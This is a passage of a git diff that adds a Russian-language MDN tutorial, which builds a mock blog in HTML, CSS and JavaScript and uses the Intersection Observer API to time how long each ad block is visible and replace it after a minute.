+ <li>{{domxref("IntersectionObserver")}} and {{domxref("IntersectionObserverEntry")}}</li>
+</ul>
diff --git a/files/ru/web/api/intersection_observer_api/timing_element_visibility/index.html b/files/ru/web/api/intersection_observer_api/timing_element_visibility/index.html
new file mode 100644
index 0000000000..ba2d788cd7
--- /dev/null
+++ b/files/ru/web/api/intersection_observer_api/timing_element_visibility/index.html
@@ -0,0 +1,565 @@
+---
+title: Синхронизация видимости элемента с Intersection Observer API
+slug: Web/API/Intersection_Observer_API/Timing_element_visibility
+tags:
+  - API
+  - Example
+  - Intermediate
+  - Intersection Observer
+  - Intersection Observer API
+  - Гайды
+translation_of: Web/API/Intersection_Observer_API/Timing_element_visibility
+---
+<div>{{DefaultAPISidebar("Intersection Observer API")}}</div>
+
+<p><a href="/en-US/docs/Web/API/Intersection_Observer_API">Intersection Observer API</a> позволяет в асинхронном режиме уведомлять приложение о том, что какой-то интересующий нас элемент в той или иной степени перекрыл родительский или другой элемент, в том числе {{domxref("Document")}}. <span class="seoSummary">В этой статье мы построим пример блога, в котором в DOM динамически встраиваются рекламные блоки. Затем, с помощью Intersection Observer API, мы выясним, сколько времени показывается каждая отдельная реклама пользователю. Когда такая реклама показывается дольше, чем одну минуту, мы заменяем её на новую.</span></p>
+
+<p>Хотя многие элементы в нашем примере слабо связаны с реальным миром, этого будет достаточно для понимания API. В реальном мире статьи чаще всего отличаются между собой и хранятся не в клиенте, а загружаются из базы данных; да и реклама не состоит из одной только строчки текста.</p>
+
+<p>Есть важная причина, почему мы используем отслеживание видимости рекламы. Вышло так, что наиболее частое употребление Flash или скриптов в Web рекламе нужно для того, чтобы оценивать эффективность рекламы, а значит, её стоимость. Без Intersection Observer API эта задача свелась бы к повсеместному применению setTimeout и setInterval для каждой отдельной рекламы. Такие техники могут драматически ухудшить производительность страницы. Использование API в этом случае может позволит браузеру взять на себя обработку сложной логики и не только ускорит приложение, но и спасёт вас от ошибок, которые обязательно появятся при использовании setTimeout / setInterval.</p>
+
+<p>Начнём!</p>
+
+<div id="fullpage_example">
+<h2 id="Структура_приложения_HTML">Структура приложения: HTML</h2>
+
+<p>Структура Web-приложений не очень сложна. Мы будем использовать <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid</a> для стилизации и макетирования, так что всё достаточно очевидно:</p>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+  &lt;header&gt;
+    &lt;h1&gt;A Fake Blog&lt;/h1&gt;
+    &lt;h2&gt;Showing Intersection Observer in action!&lt;/h2&gt;
+  &lt;/header&gt;
+
+  &lt;aside&gt;
+    &lt;nav&gt;
+      &lt;ul&gt;
+        &lt;li&gt;&lt;a href="#link1"&gt;A link&lt;/a&gt;&lt;/li&gt;
+        &lt;li&gt;&lt;a href="#link2"&gt;Another link&lt;/a&gt;&lt;/li&gt;
+        &lt;li&gt;&lt;a href="#link3"&gt;One more link&lt;/a&gt;&lt;/li&gt;
+      &lt;/ul&gt;
+    &lt;/nav&gt;
+  &lt;/aside&gt;
+
+  &lt;main&gt;
+  &lt;/main&gt;
+&lt;/div&gt;</pre>
+
+<p>Это заготовка для приложения. В верхней части приложения находится блок {{HTMLElement("header")}}. Ниже - боковая панель {{HTMLElement("aside")}}, заполненная ссылками. В самом конце структуры - основное тело приложения. Приложение стартует с пустым элементом {{HTMLElement("main")}} -  он будет заполнен позже с помощью JavaScript.</p>
+
+<h2 id="Стилизация_приложения_с_помощью_CSS">Стилизация приложения с помощью CSS</h2>
+
+<p>После определения структуры приложения мы переходим к стилизации. Давайте рассмотрим каждый компонент по отдельности.</p>
+
+<h3 id="Основа">Основа</h3>
+
+<p>Мы создаем стили для {{HTMLElement("body")}} и {{HTMLElement("main")}} так, чтобы определить фоновый цвет и сеточную систему.</p>
+
+<pre class="brush: css notranslate">body {
+  font-family: "Open Sans", "Arial", "Helvetica", sans-serif;
+  background-color: aliceblue;
+}
+
+.wrapper {
+  display: grid;
+  grid-template-columns: auto minmax(min-content, 1fr);
+  grid-template-rows: auto minmax(min-content, 1fr);
+  max-width: 700px;
+  margin: 0 auto;
+  background-color: aliceblue;
+}</pre>
+
+<p>Элемент приложения {{HTMLElement("body")}} сконфигурирован так, чтобы использовать общеупотребимый шрифт из семейства sans-serif и цвет <code>"aliceblue"</code> в качестве фона. Класс <code>"wrapper"</code> оборачивает всё приложение, включая header, sidebar и body content.</p>
+
+<p>Обёртка определяет также CSS Grid сетку, как сетку из двух колонок и двух строк. Первая колонка (размер вычисляется автоматически на основе контента) используется для боковой панели, а вторая колонка (будет использоваться для основного содержимого) имеет ширину, достаточную, чтобы вместить содержимое и занять всю доступную площадь.</p>
+
+<p>Первая строка будет использована для заголовка сайта. Размеры строк определяются схожим образом - размер первой вычисляется на основе контента, а второй - занимает всё доступной пространство, но не меньше размера, необходимого для показа содержимого.</p>
+
+<p>Ширина обёртки зафиксирована - 700px, так что её размер будет удобен для представления приложения в MDN.</p>
+
+<p>The wrapper's width is fixed at 700px so that it will fit in the available space when presented inline on MDN below.</p>
+
+<h3 id="Заголовок">Заголовок</h3>
+
+<p>Заголовок достаточно прост, так как в нашем примере он содержит небольшой текст.</p>
+
+<pre class="brush: css notranslate">header {
+  grid-column: 1 / -1;
+  grid-row: 1;
+  background-color: aliceblue;
+}</pre>
+
+<p>Значение {{cssxref("grid-row")}} равно 1, так как мы хотим поместить заголовок в верхнюю строку сеточной системы. Более интересно использование {{cssxref("grid-column")}}; Мы указываем здесь, что блок занимает пространство с первой колонки до первой с конца (то есть последней).</p>
+
+<h3 id="Боковая_панель">Боковая панель</h3>
+
+<p>Боковая панель используется для показа ссылок на другие страницы приложения. Ни одна из них не будет работать в нашем примере. Вся боковая панель нужна, чтобы просто приблизить внешний вид приложения к реальному блогу. Боковая панель создается с помощью элемента {{HTMLElement("aside")}}.</p>
+
+<pre class="brush: css notranslate">aside {
+  grid-column: 1;
+  grid-row: 2;
+  background-color: cornsilk;
+  padding: 5px 10px;
+}
+
+aside ul {
+  padding-left: 0;
+}
+
+aside ul li {
+  list-style: none;
+}
+
+aside ul li a {
+  text-decoration: none;
+}</pre>
+
+<p>Важно отметить, что значение {{cssxref("grid-column")}} здесь установлено в 1 для того, чтобы поместить панель в левую часть экрана. Если вы поменяете это значение на "-1", то панель переместится вправо, однако, в этом случае, вам понадобится немного изменить стили внутренних элементов. Значение {{cssxref("grid-row")}} равно 2, чтобы боковая панель заняла область вдоль области контента.</p>
+
+<h3 id="Область_контента">Область контента</h3>
+
+<p>Контент будет содержаться в элементе {{HTMLElement("main")}}.</p>
+
+<pre class="brush: css notranslate">main {
+  grid-column: 2;
+  grid-row: 2;
+  margin: 0;
+  margin-left: 16px;
+  font-size: 16px;
+}</pre>
+
+<p>Главная особенность здесь - контент занимает вторую колонку и вторую строку.</p>
+
+<h3 id="Статьи">Статьи</h3>
+
+<p>Каждая статья состоит из элемента {{HTMLElement("article")}}:</p>
+
+<pre class="brush: css notranslate">article {
+  background-color: white;
+  padding: 6px;
+}
+
+article:not(:last-child) {
+  margin-bottom: 8px;
+}
+
+article h2 {
+  margin-top: 0;
+}</pre>
+
+<p>Эти стили создают область с белым фоном с небольшими отступами как внутри области, так и между областями.</p>
+
+<h3 id="Рекламные_блоки">Рекламные блоки</h3>
+
+<p>Наконец, рекламные блоки. Нужно заметить, что каждый отдельный рекламный блок может изменять свои стили динамически (мы увидим это позже):</p>
+
+<pre class="brush: css notranslate">.ad {
+  height: 96px;
+  padding: 6px;
+  border-color: #555;
+  border-style: solid;
+  border-width: 1px;
+}
+
+.ad:not(:last-child) {
+  margin-bottom: 8px;
+}
+
+.ad h2 {
+  margin-top: 0;
+}
+
+.ad div {
+  position: relative;
+  float: right;
+  padding: 0 4px;
+  height: 20px;
+  width: 120px;
+  font-size: 14px;
+  bottom: 30px;
+  border: 1px solid black;
+  background-color: rgba(255, 255, 255, 0.5);
+}</pre>
+
+<p>Здесь нет никакой магии. Простой CSS.</p>
+
+<h2 id="Совмещаем_с_JavaScript">Совмещаем с JavaScript</h2>
+
+<p>Перейдём к JavaScript коду, который всё оживит. Начнем с глобальных переменных:</p>
+
+<pre class="brush: js notranslate">let contentBox;
+
+let nextArticleID = 1;
+let visibleAds = new Set();
+let previouslyVisibleAds = null;
+
+let adObserver;
+let refreshIntervalID = 0;</pre>
+
+<p>Вот что здесь используется:</p>
+
+<dl>
+ <dt><code>contentBox</code></dt>
+ <dd>Ссылка на элемент {{HTMLElement("main")}}. Это место, куда мы будем вставлять статьи и рекламу.</dd>
+ <dt><code>nextArticleID</code></dt>
+ <dd>Каждая статья получает уникальный цифровой ID. Эта переменная позволяет понять, какой следующий ID использовать.</dd>
+ <dt><code>visibleAds</code></dt>
+ <dd>{{jsxref("Set")}} используется для отслеживания текущих видимых на экране рекламных блоков.</dd>
+ <dt><code>previouslyVisibleAds</code></dt>
+ <dd>Используется для временного хранения списка рекламных блоков в то время, как документ невидим (например, если пользователь переключился на другой таб)</dd>
+ <dt><code>adObserver</code></dt>
+ <dd>Содержит экземпляр {{domxref("IntersectionObserver")}}, используемый для вычисления наложения рекламных блоков и границ элемента <code>&lt;main&gt;</code>.</dd>
+ <dt><code>refreshIntervalID</code></dt>
+ <dd>Переменная для хранения ID интервала, который возвращается функцией {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}}. Этот интервал будет использоваться для запуска переодических обновлений рекламных блоков.</dd>
+</dl>
+
+<h3 id="Установка">Установка</h3>
+
+<p>Для первичного запуска приложения мы вызовем функцию <code>startup()</code>:</p>
+
+<pre class="brush: js notranslate">window.addEventListener("load", startup, false);
+
+function startup() {
+  contentBox = document.querySelector("main");
+
+  document.addEventListener("visibilitychange", handleVisibilityChange, false);
+
+  let observerOptions = {
+    root: null,
+    rootMargin: "0px",
+    threshold: [0.0, 0.75]
+  };
+
+  adObserver = new IntersectionObserver(intersectionCallback,
+                    observerOptions);
+
+  buildContents();
+  refreshIntervalID = window.setInterval(handleRefreshInterval, 1000);
+}</pre>
+
+<p>Вначале мы получаем элемент {{HTMLElement("main")}}, в который можем вставлять содержимое. Затем мы устанавливаем обработчик на событие {{event("visibilitychange")}}. Это событие срабатывает, когда документ меняет состояние между видим/невидим, например, когда пользователь переключается между табами. Intersection Observer API не должен засчитывать пересечение с элементом Main, если пользователь не будет в это время смотреть на вкладку. Таким образом, мы должны останавливать наши таймеры каждый раз, когда пользователь уходит со страницы. С помощью этого обработчика.</p>
+
+<p>Затем мы устанавливаем параметры для {{domxref("IntersectionObserver")}}. Параметры определяют, что IntersectionObserver должен отслеживать перекрытия с областью видимости документа (параметр <code>root</code> в значении <code>null</code>). У нас нет отступов для модификации корневой области; мы хотим отслеживать совпадение границ элементов и видимого документа именно для целей обнаружения перекрытий.</p>
+
+<p>Параметр "порог" (<code>threshold</code>) содержит массив со значениями 0.0 и 0.75; Это заставит обработчик вызываться каждый раз, когда целевой элемент становится полностью обёрнут или только начинает выходить из зоны перекрытия (коэффициент перекрытия 0.0) или проходит порог в 75% видимости в обоих направлениях (коэффициент перекрытия 0.75).</p>
+
+<p>Наблюдатель <code>adObserver</code> создается с помощью конструктора <code>IntersectionObserver</code>. В аргументы конструктора мы передаём функцию обратного вызова (<code>intersectionCallback</code>) и ранее определенный объект параметров.</p>
+
+<p>После этого мы вызываем функцию <code>buildContents()</code>. Её мы напишем чуть позже. Функция генерирует и вставляет в контейнер статьи и рекламные блоки.</p>
+
+<p>В конце мы устанавливаем интервал, который каждую секунду запускает проверку - нужно ли что-то обновить. Нам необходимо второе обновление, так как в каждом отдельном рекламном блоке мы показываем таймер. В реальном приложении это не понадобится.</p>
+
+<h3 id="Обработка_изменения_видимости_документа">Обработка изменения видимости документа</h3>
+
+<p>Давайте рассмотрим обработчик события {{event("visibilitychange")}}. Это событие срабатывает, когда документ становится видим или невидим. Как правило, это случается, когда пользователь переключается между табами. Так как Intersection Observer отслеживает только перекрытия элемента с корневым элементом, нам необходимо отдельно позаботиться о детекции видимости документа. Для этого мы используем <a href="/en-US/docs/Web/API/Page_Visibility_API">Page Visibility API</a>.</p>
+
+<pre class="brush: js notranslate">function handleVisibilityChange() {
+  if (document.hidden) {
+    if (!previouslyVisibleAds) {
+      previouslyVisibleAds = visibleAds;
+      visibleAds = [];
+      previouslyVisibleAds.forEach(function(adBox) {
+        updateAdTimer(adBox);
+        adBox.dataset.lastViewStarted = 0;
+      });
+    }
+  } else {
+    previouslyVisibleAds.forEach(function(adBox) {
+      adBox.dataset.lastViewStarted = performance.now();
+    });
+    visibleAds = previouslyVisibleAds;
+    previouslyVisibleAds = null;
+  }
+}</pre>
+
+<p>Так как событие само по себе не указывает, стал ли документ видимым или, наоборот, невидимым, мы должны вручную проверить свойство {{domxref("document.hidden")}}. В теории, это событие может сработать несколько раз, поэтому нам нужно обрабатывать только те рекламные блоки, учёт которых ещё не был приостановлен.</p>
+
+<p>Для остановки таймеров нам нужно удалить ссылки на рекламные блоки из коллекции <code>visibleAds</code> и пометить их как неактивные. Чтобы это сделать, мы начинаем с сохранения ссылок на текущие видимые элементы в переменную<code> previouslyVisibleAds</code>. Это нужно, чтобы в дальнейшем можно было восстановить счётчики для этих блоков. Так мы указываем приложению, что эту рекламу не надо считать активной. Затем, если пользователь вернулся в документ, мы вызываем функцию  <code>updateAdTimer()</code> для каждого отложенного элемента. Эта функция обновляет общее время видимости элемента. После этого мы присваиваем переменной <code>dataset.lastViewStarted</code> значение 0, что означает, что таймер не запущен.</p>
+
+<p>Если документ стал видимым, мы выполняем обратный процесс: сначала мы проходим через коллекцию <code>previouslyVisibleAds</code>. Для каждого элемента мы присваиваем  <code>dataset.lastViewStarted</code> значение, соответствующее текущему времени документа (в миллисекундах с момента создания документа). Это время можно узнать с помощью  метода {{domxref("Performance.now", "performance.now()")}}. Затем мы присваиваем переменной  <code>visibleAds</code> закешированное ранее значение <code>previouslyVisibleAds</code>, с обнулением последней переменной. Теперь рекламные блоки перезапущены и настроены, так что время простоя не будет учиваться.</p>
+
+<h3 id="Обработчик_изменений_наложения">Обработчик изменений наложения</h3>
+
+<p>При каждой итерации в браузерном event loop, каждый наблюдатель  {{domxref("IntersectionObserver")}} проверяет, не прошел ли какой-либо из элементов-целей через пороговые значения наблюдателя.  Для каждого наблюдателя список таких целей собирается в один список и отправляется в функцию обратного вызова наблюдателя. Каждый элемент списка - это {{domxref("IntersectionObserverEntry")}} объект. В нашем приложении <code>intersectionCallback()</code> выглядит так:</p>
+
+<pre class="brush: js notranslate">function intersectionCallback(entries) {
+  entries.forEach(function(entry) {
+    let adBox = entry.target;
+
+    if (entry.isIntersecting) {
+      if (entry.intersectionRatio &gt;= 0.75) {
+        adBox.dataset.lastViewStarted = entry.time;
+        visibleAds.add(adBox);
+      }
+    } else {
+      visibleAds.delete(adBox);
+      if ((entry.intersectionRatio === 0.0) &amp;&amp; (adBox.dataset.totalViewTime &gt;= 60000)) {
+        replaceAd(adBox);
+      }
+    }
+  });
+}</pre>
+
+<p>Как мы упоминали ранее, функция обратного вызова {{domxref("IntersectionObserver")}}  получает на вход массив элементов, которые активировали наблюдателя. В нашей функции мы итерируемся по этому массиву. Если элемент пересекается с корневым элементом, мы знаем, что он стал видимым. Если он становится видимым более, чем на 75%, мы считаем, что реклама видима и мы запускаем таймер, выставляя значение  <code>dataset.lastViewStarted</code> равным времени изменения параметра перекрытия {{domxref("IntersectionObserverEntry.time", "entry.time")}}. Затем мы добавляем рекламный блок в набор <code>visibleAds</code>.</p>
+
+<p>Если рекламный блок уходит из зоны видимости, мы удаляем его из набор видимых элементов. Затем, в зависимости от значения {{domxref("IntersectionObserverEntry.intersectionRatio", "entry.ratio")}}, мы либо меняем рекламу, либо ставим на паузу. Так, если значение равно 0.0 и реклама уже была видна минимум минуту, мы вызываем функцию <code>replaceAd()</code> . В этом случае пользоватль видит разные рекламные блоки, но сама реклама меняется незаметно для пользователя.</p>
+
+<h3 id="Обработка_периодический_событий">Обработка периодический событий</h3>
+
+<p>Каждую секунду у нас срабатывает интервал <code>handleRefreshInterval()</code>, который мы задали в функции <code>startup()</code>. Главная задача этого интервала - обновлять таймеры каждую секунду и перерисовывать значение таймеров.</p>
+
+<pre class="brush: js notranslate">function handleRefreshInterval() {
+  let redrawList = [];
+
+  visibleAds.forEach(function(adBox) {
+    let previousTime = adBox.dataset.totalViewTime;
+    updateAdTimer(adBox);
+
+    if (previousTime != adBox.dataset.totalViewTime) {
+      redrawList.push(adBox);
+    }
+  });
+
+  if (redrawList.length) {
+    window.requestAnimationFrame(function(time) {
+      redrawList.forEach(function(adBox) {
+        drawAdTimer(adBox);
+      });
+    });
+  }
+}</pre>
+
+<p>Массив <code>redrawList</code> используется для хранения списка рекламных блоков, которые должны быть перерисованы в следующем цикле перерисовки. Это нужно, так как таймеры текущих рекламных блоков не всегда совпадают с реальными таймингами из-за прочих системных процессов. Или из-за того, что вы указали в качестве интервала промежуток не в 1000мс.</p>
+
+<p>Затем, для каждого видимого рекламного блока, мы сохраняем значение <code>dataset.totalViewTime</code> (количество миллисекунд, которое текущая реклама была видима с момента последнего обновления этого значения). После этого вызываем функцию <code>updateAdTimer()</code> для обновления времени. Если оно изменилось, мы вставляем рекламный блок в список <code>redrawList</code>. Таким образом, при обработке следующего кадра приложение знает, что нужно перерисовать.</p>
+
+<p>И, наконец, если существует хоть один элемент, который нужно перерисовать, мы будем используем {{domxref("window.requestAnimationFrame", "requestAnimationFrame()")}}, чтобы отложить отрисовку каждого элемента на тот момент, когда будет формироваться следующий кадр.</p>
+
+<h3 id="Обновление_таймера_видимости_рекламы">Обновление таймера видимости рекламы</h3>
+
+<p>Ранее мы уже видели, что если нам нужно обновить общее время видимости рекламы - мы вызываем функцию <code>updateAdTimer()</code>. Эта функция принимает в качестве аргумента объект {{domxref("HTMLDivElement")}}.</p>
+
+<pre class="brush: js notranslate">function updateAdTimer(adBox) {
+  let lastStarted = adBox.dataset.lastViewStarted;
+  let currentTime = performance.now();
+
+  if (lastStarted) {
+    let diff = currentTime - lastStarted;
+
+    adBox.dataset.totalViewTime = parseFloat(adBox.dataset.totalViewTime) + diff;
+  }
+
+  adBox.dataset.lastViewStarted = currentTime;
+}</pre>
+
+<p>Для отслеживания времени видимости элемента мы используем два data-атрибута на каждом рекламном блоке:</p>
+
+<dl>
+ <dt><code>lastViewStarted</code></dt>
+ <dd>Время в миллисекундах относительно первоначальной загрузки страницы до момента, когда счётчик рекламного блока был обновлён или блок стал невидим. Если значение равно нулю - блок не был видим в последний раз, когда проверялся.</dd>
+ <dt><code>totalViewTime</code></dt>
+ <dd>Общее время видимости рекламного блока.</dd>
+</dl>
+
+<p>Значение этих атрибутов можно получить с помощью {{domxref("HTMLElement.dataset")}}. Значения - строки, но вы можете конвертировать их в числа. Фактически, JavaScript делает это автоматически, но нам всё равно придется в одном месте сделать это вручную.</p>
+
+<p>Функция начинается с выяснения времени, когда происходила последняя проверка видимости рекламы (<code>adBox.dataset.lastViewStarted</code>). Мы также получаем текущее время с момента создания документа с помощью {{domxref("Performance.now", "performance.now()")}} <code>currentTime</code>.</p>
+
+<p>Если время последней проверки lastStarted не равно нулю - это значит, что таймер сейчас уже запущен. В этом случае мы вычисляем разницу между текущим временем и временем старта проверки. Это значение покажет, сколько реклама была видима с момента последнего старта детекции. Затем это значение прибавляем к уже имееющемуся <code>totalViewTime</code>. Обратите внимание не вызов {{jsxref("parseFloat()")}}: так как все значения из Dataset - строки, JavaScript пытается соединить строки вместо того, чтобы просуммировать числа.</p>
+
+<p>В конце мы присваеваем <code>lastViewStarted</code> текущее значение. Это делается вне зависимости от того, был ли элемент видим во время вызова функции или нет - это позволяет таймеру рекламных блоков срабатывать всегда, когда эта функция вызывается. Это имеет смысл, потому что вызов может сработать ровно в тот момент, когда реклама только появилась.</p>
+
+<h3 id="Показываем_таймер_рекламы">Показываем таймер рекламы</h3>
+
+<p>Внутри каждого рекламного блока мы отображаем текущее значение общего времени видимости в формате мин:сек. Для этого мы передаем в функцию <code>drawAdTimer</code> контейнер:</p>
+
+<pre class="brush: js notranslate">function drawAdTimer(adBox) {
+  let timerBox = adBox.querySelector(".timer");
+  let totalSeconds = adBox.dataset.totalViewTime / 1000;
+  let sec = Math.floor(totalSeconds % 60);
+  let min = Math.floor(totalSeconds / 60);
+
+  timerBox.innerText = min + ":" + sec.toString().padStart(2, "0");
+}</pre>
+
+<p>Функция находит внутри переданного контейнера блок с классом <code>timer</code>. Затем забирает данные о текущем общем времени видимости блока. С помощью деления на 1000, 60 и 60 мы преобразуем результат в нужный формат (миллисекунды -&gt; секунды -&gt; минуты / секунды)</p>
+
+<p>Метод {{jsxref("String.padStart()")}} используется для того, чтобы убедиться, что число секунд всегда состоят из двух цифр.</p>
+
+<h3 id="Строим_содержимое_страницы">Строим содержимое страницы</h3>
+
+<p>Функция <code>buildContents()</code> вызывается при старте приложения. Она формирует тело статьи и добавляет рекламные блоки:</p>
+
+<pre class="brush: js notranslate">let loremIpsum = "&lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing" +
+  " elit. Cras at sem diam. Vestibulum venenatis massa in tincidunt" +
+  " egestas. Morbi eu lorem vel est sodales auctor hendrerit placerat" +
+  " risus. Etiam rutrum faucibus sem, vitae mattis ipsum ullamcorper" +
+  " eu. Donec nec imperdiet nibh, nec vehicula libero. Phasellus vel" +
+  " malesuada nulla. Aliquam sed magna aliquam, vestibulum nisi at," +
+  " cursus nunc.&lt;/p&gt;";
+
+function buildContents() {
+  for (let i=0; i&lt;5; i++) {
+    contentBox.appendChild(createArticle(loremIpsum));
+
+    if (!(i % 2)) {
+      loadRandomAd();
+    }
+  }
+}
+</pre>
+
+<p>Переменная <code>loremIpsum</code> содержит текст, который мы используем как тело статьи. Разумеется, в реальном мире вы будете забирать статьи из какой-то базы данных. Но это тема другой статьи, поэтому мы пошли простым путём.</p>
+
+<p><code>buildContents()</code> создаёт страницу с пятью статьями. Каждая нечётная статья содержит рекламные блоки.  Статьи будут вставлены в блок контента {{HTMLElement("main")}}. после того, как будет вызван метод <code>createArticle()</code>, который мы разберем позже.</p>
+
+<p>Рекламные блоки создаются с помощью функции <code>loadRandomAd()</code>. Эта функция создает и вставляет блоки одновременно. Как мы увидим позже, эта же функция может и заменить уже существующую рекламу. Но пока что просто добавим рекламу в существующий текст.</p>
+
+<h3 id="Создаем_статью">Создаем статью</h3>
+
+<p>Для создания элемента статьи {{HTMLElement("article")}} и её содержимого мы используем функцию <code>createArticle()</code>, которая в качестве входных данных принимает строку-текст статьи.</p>
+
+<pre class="brush: js notranslate">function createArticle(contents) {
+  let articleElem = document.createElement("article");
+  articleElem.id = nextArticleID;
+
+  let titleElem = document.createElement("h2");
+  titleElem.id = nextArticleID;
+  titleElem.innerText = "Article " + nextArticleID + " title";
+  articleElem.appendChild(titleElem);
+
+  articleElem.innerHTML += contents;
+  nextArticleID +=1 ;
+
+  return articleElem;
+}</pre>
+
+<p>Сперва, элемент <code>&lt;article&gt;</code> создаётся и ему присваивается уникальный ID <code>nextArticleID</code> (это просто счётчик от нуля до бесконечности). Затем мы создаем и добавляем элемент {{HTMLElement("h2")}} для заголовка и применяем HTML из переменной <code>contents</code>. Наконец, мы увеличиваем значение <code>nextArticleID</code> (таким образом, следующий элемент получит уникальный ID) и возвращаем элемент статьи обратно.</p>
+
+<h3 id="Создание_рекламного_блока">Создание рекламного блока</h3>
+
+<p>Функция <code>loadRandomAd()</code> имитирует загрузку рекламы и её добавление на страницу. Если вы не указываете значение для <code>replaceBox</code>, создается и применяется новый контейнер для рекламы. Если вы указали <code>replaceBox</code>, этот контейнер рассматривается, как уже существующий элемент. Вместо создания нового, существующий элемент изменяется, чтобы содержать актуальные данные. Это помогает избежать риска неэффективной перерисовки элементов, если вы сначала будете удалять элемент из DOM, а затем вставлять новый.</p>
+
+<pre class="brush: js notranslate">function loadRandomAd(replaceBox) {
+  let ads = [
+    {
+      bgcolor: "#cec",
+      title: "Eat Green Beans",
+      body: "Make your mother proud—they're good for you!"
+    },
+    {
+      bgcolor: "aquamarine",
+      title: "MillionsOfFreeBooks.whatever",
+      body: "Read classic literature online free!"
+    },
+    {
+      bgcolor: "lightgrey",
+      title: "3.14 Shades of Gray: A novel",
+      body: "Love really does make the world go round..."
+    },
+    {
+      bgcolor: "#fee",
+      title: "Flexbox Florist",
+      body: "When life's layout gets complicated, send flowers."
+    }
+  ];
+  let adBox, title, body, timerElem;
+
+  let ad = ads[Math.floor(Math.random()*ads.length)];
+
+  if (replaceBox) {
+    adObserver.unobserve(replaceBox);
+    adBox = replaceBox;
+    title = replaceBox.querySelector(".title");
+    body = replaceBox.querySelector(".body");
+    timerElem = replaceBox.querySelector(".timer");
+  } else {
+    adBox = document.createElement("div");
+    adBox.className = "ad";
+    title = document.createElement("h2");
+    body = document.createElement("p");
+    timerElem = document.createElement("div");
+    adBox.appendChild(title);
+    adBox.appendChild(body);
+    adBox.appendChild(timerElem);
+  }
+
+  adBox.style.backgroundColor = ad.bgcolor;
+
+  title.className = "title";
+  body.className = "body";
+  title.innerText = ad.title;
+  body.innerHTML = ad.body;
+
+  adBox.dataset.totalViewTime = 0;
+  adBox.dataset.lastViewStarted = 0;
+
+  timerElem.className="timer";
+  timerElem.innerText = "0:00";
+
+  if (!replaceBox) {
+    contentBox.appendChild(adBox);
+  }
+
+  adObserver.observe(adBox);
+}</pre>
+
+<p>Вначале мы определяем массив <code>ads</code>. Этот массив содержит данные, необходимые для создания рекламных блоков. В реальном приложении, конечно, мы будем загружать эти данные из базы или, что более вероятно, из рекламного сервиса, который будет использовать какой-то API. Тем не менее, наша простая задача решается: каждый рекламный блок представлен тремя свойствами: фоновым цветом (<code>bgcolor</code>), заголовком (<code>title</code>) и текстовым содержимым (<code>body</code>).</p>
+
+<p>Затем мы определяем несколько переменных:</p>
+
+<dl>
+ <dt><code>adBox</code></dt>
+ <dd>Определяет контейнер, содержащий рекламу. Вновь добавленные рекламные блоки будут добавлены к странице с помощью{{domxref("Document.createElement()")}}. Когда замещается существующая реклама, в этой переменной указан элемент (<code>replaceBox</code>).</dd>
+ <dt><code>title</code></dt>
+ <dd>Содержит ссылку на элемент {{HTMLElement("h2")}}.</dd>
+ <dt><code>body</code></dt>
+ <dd>Содержит ссылку на элемент {{HTMLElement("p")}}.</dd>
+ <dt><code>timerElem</code></dt>
+ <dd>Содержит ссылку на элемент таймера {{HTMLElement("div")}}.</dd>
+</dl>
+
+<p>Случайный рекламный блок вычисляется с помощью <code>Math.floor(Math.random() * ads.length)</code>. Результат этой функции - целое число между 0 и максимальным количеством рекламных блоков. Соответствующий рекламный блок теперь доступен нам из переменной <code>adBox</code>.</p>
+
+<p>Если <code>replaceBox</code> содержит какое-то значение, мы рассматриваем его как элемент рекламного блока. Мы завершаем наблюдение за элементом с помощью {{domxref("IntersectionObserver.unobserve()")}}. Затем собираем в локальные переменные данные из каждого свойства элемента: заголовок, тело и таймер.</p>
+
+<p>Если никакое значение не указано для <code>replaceBox</code>, мы создаем новый элемент. Создаётся новый контейнер {{HTMLElement("div")}}. Его CSS-параметры задаются с помощью класса <code>"ad"</code>. Затем создаются заголовок рекламного блока, его текст и таймер.  Соотстветвенно, это {{HTMLElement("h2")}}, {{HTMLElement("p")}} и {{HTMLElement("div")}}. Эти элементы применяются к контейнеру <code>adBox</code>.</p>
+
+<p>После этого разветвления наш код вновь возвращается к единому. Фоновый цвет рекламных блоков присваевается соответственно записям. Элементам присваиваются классы и содержимое.</p>
+
+<p>Наступаем время присвоить data-параметры, чтобы отслеживать видимость рекламных блоков с помощью установки <code>adBox.dataset.totalViewTime</code> и <code>adBox.dataset.lastViewStarted</code> равными нулю.</p>
+
+<p>Наконец, мы устанавливаем CSS-класс контейнеру таймера. С помощью этого класса приложение сможет с лёгкостью собирать данные и обновлять их для каждого таймера. По умолчанию, текст этого контейнера - "0:00".</p>
+
+<p>Если мы создаём новую рекламу, мы должны применить элемент к страницы с помощью {{domxref("Node.appendChild", "Document.appendChild()")}}. Если мы лишь заменяем рекламный блок - он уже представлен в DOM и всё, что нам нужно сделать - это обновить его. Затем мы вызываем функцию {{domxref("IntersectionObserver.observe", "observe()")}}. <code>adObserver</code> начинает отслеживать изменения перекрытия элементов в видимой области приложения. С этого момента любой рекламный блок, который становится на 100% скрыт или хотя бы на один пиксель видим или преодолевает порог в 75% видимости в любом направлении, запускает вычисление таймингов и обновление содержимого таймеров.</p>
+
+<h3 id="Замена_существующей_рекламы">Замена существующей рекламы</h3>
+
+<p>Наша {{anch("Handling intersection changes", "функция обработки перекрытия")}} отслеживает рекламные блоки. Когда они становятся на 100% и общее время их видимости достаточное для того, рекламный блок заменяется на новый. Когда это происходит, вызывается функция <code>replaceAd()</code>.</p>
+
+<pre class="brush: js notranslate">function replaceAd(adBox) {
+  let visibleTime;
+
+  updateAdTimer(adBox);
+
+  visibleTime = adBox.dataset.totalViewTime
+  console.log("  Replacing ad: " + adBox.querySelector("h2").innerText + " - visible for " + visibleTime)
+
+  loadRandomAd(adBox);
+}</pre>
+
+<p><code>replaceAd()</code> начинается с вызова <code>updateAdTimer()</code> для существующего рекламного блока, чтобы убедиться, что таймер обновлён. С помощью этого вызова мы убеждаемся, что <code>totalViewTime</code>, который мы используем для обработки, действительно совпадает с тем, что видел пользователь. Мы логгируем это значение и загружаем в рекламный блок новые данные. Помните, что в реальном мире вы не должны логгировать подобные вещи, а скорее использовать API для сбор логов.</p>
+</div>
+
+<h2 id="Результат">Результат</h2>
+
